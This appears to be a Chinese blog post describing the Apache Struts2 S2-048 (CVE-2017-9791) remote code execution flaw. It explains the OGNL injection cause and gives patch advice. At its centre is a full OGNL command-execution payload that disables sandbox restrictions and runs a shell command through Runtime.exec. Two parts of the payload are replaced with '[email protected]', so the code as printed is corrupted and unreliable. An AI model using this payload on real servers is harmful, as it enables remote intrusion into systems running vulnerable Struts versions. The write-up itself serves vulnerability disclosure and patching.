S2-048 远程代码执行漏洞检测利用

版权声明：没有注明参考链接，均为原创，如有侵权，请联系博主！ https://blog.csdn.net/qq_29647709/article/details/84952381

2017年7月7日，ApacheStruts 发布最新的安全公告，Apache Struts2的strus1插件存在远程代码执行的高危漏洞，漏洞编号为 CVE-2017-9791（S2-048）。攻击者可以构造恶意的字段值通过Struts2的struts2-struts1-plugin插件，远程执行代码。

漏洞记录

S2-048
CVE-2017-9791
Struts 2.3.X
http://127.0.0.1:8090/struts2-showcase/integration/saveGangster.action
影响范围非常小

漏洞检测利用

根据官网说明，可知漏洞产生的原因是将用户可控的值添加到 ActionMessage 并在客户前端展示，导致其进入 getText 函数，最后 message 被当作 ognl 表达式执行所以访问 /integration/saveGangster.action 构造payload

发现执行1+1，并显示在屏幕上

命令执行poc

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('uname  -a').getInputStream())).(#q)}

修补意见

1、临时解决方案：通过使用 resourcekeys 替代将原始消息直接传递给 ActionMessage 的方式。如下所示：

messages.add(“msg”,new ActionMessage(“struts1.gangsterAdded”, gform.getName()));

一定不要使用如下的方式

messages.add(“msg”,new ActionMessage(“Gangster ” + gform.getName() + ” was added”));

2、 无奈解决方案：不启用struts2-struts1-plugin插件

3、 根本解决方案：建议升级到最新版本